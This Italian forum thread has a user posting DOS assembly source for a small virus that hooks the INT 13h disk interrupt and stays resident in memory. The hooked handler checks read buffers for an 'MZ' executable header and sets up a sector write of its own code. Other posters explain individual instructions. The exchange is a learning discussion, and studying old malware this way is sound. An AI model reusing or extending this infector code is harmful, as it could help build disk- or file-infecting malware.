Visualizzazione dei risultati da 1 a 6 su 6
  1. #1

    [ASM] problema di comprensione del codice

    Ciao ragazzi, ho trovato il codice di un piccolo virus che va a cambiare la IVT per andare a modificare l'indirizzo del INT13 per l'accesso ai dishi.
    OK, la parte del codice in INITIAL mi e' chiara, ma purtropo non riesco a comprendere la parete inserita tra le due righe di asterischi.

    codice:
    ASSUME   CS: CodeSegment
    CodeSegment  SEGMENT PARA
    	   ORG 100H
    
    START:
    MAIN  	   PROC NEAR
    
    HEAD:  	    JMP 	  INITIAL
    
    
    SAVE_INT13:
    	    DD	  0      	         ;inizializzazioni di saved_int13
    
    INT13_SOST:	  	         ;INT13H INTERRUPT DI LETTURA E SCRITTURA SU HD
    	    PUSH 	  AX     	         ;AX:OPERAZIONE DA FARE E NUMERO DI SETTORI COINVOLTI
    	    PUSH	  BX               ;BX:OFFSET BUFFER DEL PROGRAMMA
    	    PUSH	  ES               ;ES:SEGMENT DEL BUFFER
      	    CMP	  AH,02	         ;CONTROLLA SE HE LETTURA 02 LETTURA 03 SCRITTURA
      	    JNE	  no_read
    
    ;*********************************************************************************************************************
      	    PUSHF                    		  ; salva il registro di FLAG
    	    CALL	 dword ptr CS:[save_int13]     ;chiama il programma vero puntato da CS
    					  ;chiama una DW
    
                                                        ;in ES viene salvato il segmento del buffer
      	    	       	 	     	  ;in BX l'offset del buffer
      	    CMP	 word ptr ES:[BX],5A4DH        ;controlla che nel valore del buffer ES puntato all offset BX
      	    JNE	 no_EXE_file                   ;controlla che i primi 2 byte ZM = 5a4dH
    
      	    MOV 	 AX, 0301H		  ;in AH mette 03=scrittura e in AL mette 01=numero settori da
                                                        ;scrivere (o leggere)
    
      	    MOV	 BX, OFFSET HEAD               ;
      	    PUSH	 CS                            ;in ES mette il valore del nostro segmento CS
      	    POP	 ES
    ;*********************************************************************************************************************
    NO_READ:
    	    PUSHF       	       	        	  ;SALVA IL REGISTRO DI FLAG
    	    CALL 	  dword ptr CS: [save_int13]    ;PASSA ALL'EFFETTIVO INDIRIZZO DELL INT13
    
    no_exe_file:                                    	  ;non effettua alcuna operazione
    	    POP  	 ES
    	    POP	 BX
    	    POP	 AX
    	    IRET
    
    INITIAL:
    
                  XOR  	 DX, DX                         ;AZZERA DX pongo praticamente il valore a 0
                  MOV  	 DS,DX                          ;l'assegnazione non puo' essere diretta
    
                  MOV  	 AX,DS:[13H*4]		;salva in ax l'indirizzo VERO di INT13H
                  MOV  	 word ptr CS:[save_int13],AX    ;
    	    MOV  	 AX, DS:[13H*4+2]		;
    	    MOV  	 word ptr CS:[save_int13+2],AX  ;salvo in CS il segment dell'INT13h
    
    
    	    CLI                                  ;tra CLI e STI non possono essere chimati altri INTERRUPT
    	    MOV	 AX,OFFSET INT13_SOST         	 ;in AX salvo l'offset che ha il label int13_sost
    	    MOV    word ptr DS:[13H*4],AX          ;salvo l'offest in DS che e' riamsto a 0000H
    	    PUSH 	 CS                              ;metto in AX il valore di CS
    	    POP  	 AX
    	    MOV  	 word ptr DS:[13H*4+2],AX        ;copia il valore del segment del mio CS
         	    STI
    
         	    MOV  	 DX, OFFSET salto_END+1       	 ;VIENE PASSATA LA FINE DEL PROGRAMMA CHE DEVE RESTARE IN ROM
    
         	    INT  	 27H                      	 ;SALVARE LE MORIFICHE IN RAM
    
    salto_END:
    
    MAIN	    ENDP
    
    CodeSegment   ENDS
    	    END START

    sapreste cortesemente aiutarmi e indicarmi cosa questo programmino facci ain quelle 10 righe? In particola re nelle ultime 3....


    vi ringrazio per l'interessamento e l'aiuto

  2. #2
    le ultime tre...


    MAIN ENDP ; fine funzione chiamata MAIN

    CodeSegment ENDS ; fine del segmento "CodeSegment"
    END START ; fine listato ASM, entryPoint "START"



    il programma è un TSR, e mi pare sostitituisce un interrupt.
    DYNAMIC+ [ E-mail ]

    Secondo me non si può fare!

  3. #3
    intendevo le ultime tre riche di quelle comprese tra gli asterischi....

  4. #4
    credo tu intenda queste riga qua:

    codice:
    	    MOV	 BX, OFFSET HEAD               
      	    PUSH	 CS                            
    	    POP	 ES
    la prima riga non fa altro che mettere in bx l'indirizzo dell'etichetta HEAD... HEAD è un etichetta ed è solo un riferimento quindi in bx sarà presente l'indirizzo dell'istruzione :

    JMP INITIAL

    _________________________________________________

    per quanto riguarda le ultime due righe:

    in assembly non è possibile spostare direttamente il valore di cs in es con una mov..

    quindi 'mov es,cs' non si può fare...

    Per questo si usa una push e un pop...

    Con push cs vado a mettere nello stack il valore di cs...

    e con pop es vado a mettere in es il valore che estraggo dallo stack che non è altro che il valore di cs inserito prima...
    "Penso che nel mondo ci sia mercato per quattro o cinque computer"... Thomas Watson, presidente della IBM, 1943

  5. #5
    ok, passo passo ho capito cosa servono queste istruzioni, ma purtroppo non riesco a capire a cosa servano nella visione complessiva del programma.
    In sostanza salvo tutti i registri che avevo avuto in ingresso precedentemente con la chiamata all INT23h, cioe' AX, BX,ES ma ora non riesco a capire a quale scopo vado ad assgnare quei nuovi valori ai registri se poi non faccio nessuna chiamata ad interrupt per alcunke'


    spero di essere stato decentemente chiaro nel esporre i miei dubbi

  6. #6
    Non avviene nessuna chiamata ad interrupt..
    Però guarda bene.. c'è una call che chiama la procedura dell'interrupt...
    "Penso che nel mondo ci sia mercato per quattro o cinque computer"... Thomas Watson, presidente della IBM, 1943

Permessi di invio

  • Non puoi inserire discussioni
  • Non puoi inserire repliche
  • Non puoi inserire allegati
  • Non puoi modificare i tuoi messaggi
  •  
Powered by vBulletin® Version 4.2.1
Copyright © 2024 vBulletin Solutions, Inc. All rights reserved.